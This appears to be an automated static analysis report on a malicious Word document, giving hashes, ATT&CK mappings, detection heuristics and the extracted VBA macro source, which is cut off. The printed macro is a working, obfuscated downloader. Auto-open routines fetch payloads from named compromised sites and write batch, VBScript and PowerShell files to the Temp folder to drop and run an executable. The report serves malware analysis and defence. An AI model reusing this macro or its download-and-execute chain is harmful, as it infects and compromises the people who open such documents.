Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c5d05d364196c33…

MALICIOUS

Office (OLE)

82.0 KB Created: 2015-05-06 12:26:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: e6d13f7ee31a469aaf9fba5915abdedf SHA-1: 9bd5e1a0fdc4d880a7f0e76c580c63d42110522a SHA-256: 5c5d05d364196c334989a76821c3239d988c64616b05303a1c1f15aae9aefad3
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains multiple VBA auto-execution macros (AutoOpen, Workbook_Open) that are designed to run automatically when the document is opened. These macros utilize the Shell() function and CreateObject() to download a payload from one of the provided URLs, specifically 'http://peakperformancelifestyle.com/wp-content/plugins/6612536153.txt' or 'http://penis-enhancement-secrets.com/wp-content/plugins/6612536153.txt', and execute it. The presence of these elements strongly indicates a downloader functionality.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://peakperformancelifestyle.com/wp-content/plugins/lns.txt In document text (OLE body)
    • http://penis-enhancement-secrets.com/wp-content/plugins/lns.txtIn document text (OLE body)
    • http://peakperformancelifestyle.com/wp-content/plugins/6612536153.txtIn document text (OLE body)
    • http://penis-enhancement-secrets.com/wp-content/plugins/6612536153.txtIn document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8055 bytes
SHA-256: d9a0e2f88c3f0f4c9e017e7db13fd78d080564177efad7356a7738ef17b4d45d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Workbook_Open()
    Auto_Open
End Sub
Sub HUhdkqwudhqwkhqwjd()
   ahsduiwhdqiu
End Sub
Sub Auto_Open()
   ahsduiwhdqiu
End Sub
Sub ahsduiwhdqiu()
    Dim huwe, auwd As Integer
    Dim fileNumber As Integer
    Dim retVal As Variant
    HUWQD = Module1.Whqwhdbgh(30000)
    FL2 = HUWQD
    HPPSDJ = "Temp"
    PH2 = Module1.Bad("" & HPPSDJ) + "\"
    NDUWGD = "78192737129361298"
    
    HYWDAX = "baklajskdlajsdjaiwhdkt"
    JWIDJIAAA = "" + Chr(97 + Sgn(5)) + "a"
    HUYFEA = JWIDJIAAA + Right(HYWDAX, 1)
    WKDOQ = NDUWGD
    PSFL = FL2 + "" & "." + "p" + "" + Chr(Asc("s")) _
    + _
    "1"
    VBFL = FL2 + Chr(50 - 4) + "v" + "b" & "s"
    huwe = 1
    BAFL = FL2 + Chr(Sgn(Fix(-22.043)) + 11 + 10 + 25 + huwe + 0) + HUYFEA
    
     INTG = "" & "o" & "bject"
    AFTG = "m" & "odule"
    
     SXE = "" & Chr(Asc(".")) & Chr(101) & "xe" & ""
    GNG = ".png"
    
    PHT = "" & "htt" & "p://" & ""
    SPIC = PHT + "sav" & "epic.su/"
     
    QIWJD = PSFL
    PSPTH = PH2 + QIWJD
    VBPTH = PH2 + VBFL
    BAPTH = PH2 + BAFL
  
    
    DRT = 230
    BFT = 231
    CFT = 232
    DFT = 233
    EFT = 234
    
    
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    PBIn = "http://peakperformancelifestyle.com/wp-content/plugins/6612536153.txt"
    CONT = Module1.Spice(PBIn)
    asdwq = CONT
    
     HQUWDAAA = "0"
    If (asdwq = "") Then
        PBIn = "http://penis-enhancement-secrets.com/wp-content/plugins/6612536153.txt"
        CONT = Module1.Spice(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Module1.Puqwndkqwb(asdwq)
     
    TVT10 = Module1.Tort(CONT, "text10")
    TVT20 = Module1.Tort(CONT, "text20")
    TVT21 = Module1.Tort(CONT, "text21")
    TVT30 = Module1.Tort(CONT, "text30")
    TVT31 = Module1.Tort(CONT, "text31")
    XPT1 = Module1.Tort(CONT, "stext1")
    XPT2 = Module1.Tort(CONT, "stext2")
    XPT3 = Module1.Tort(CONT, "stext3")
    
    
    WVR = Module1.Bad("US" & "ERP" & "ROFILE")
    UQHWDUQHWIUHDUIWQ = "qklwjeklqwje kqwlej 2j1ikej 21lkej 1j2lke"
    IHQHWDUIQWHDUI = "kj2h jk2h1j 3k12h "
    hufehu1 = ""
    hufehu1 = 0 + InStr(WVR, "sers\")

    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If
    
    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module1.WaitFor (1)
    
    MIWDWQ = "http://peakperformancelifestyle.com/wp-content/plugins/lns.txt"
    If (HQUWDAAA = "1") Then
        MIWDWQ = "http://penis-enhancement-secrets.com/wp-content/plugins/lns.txt"
    End If
    
    SEXX = Module1.Spice(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    STAR1 = SPIC + "5603061" + GNG
    STAR2 = SPIC + "5599989" + GNG
    FFQ = "8"
    FF = FFQ + SXE
    
    Dim ashduqwihdq As Integer
     ashduqwihdq = Val(129 + 60.123 \ Int("2") - 29 - hudhw)
   
    
     If (ashduqwihdq = 0) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":lqwjdjqiw"
     Print #DRT, ":lwijdsji"
     Print #DRT, "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module1.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     Modul
... (truncated)

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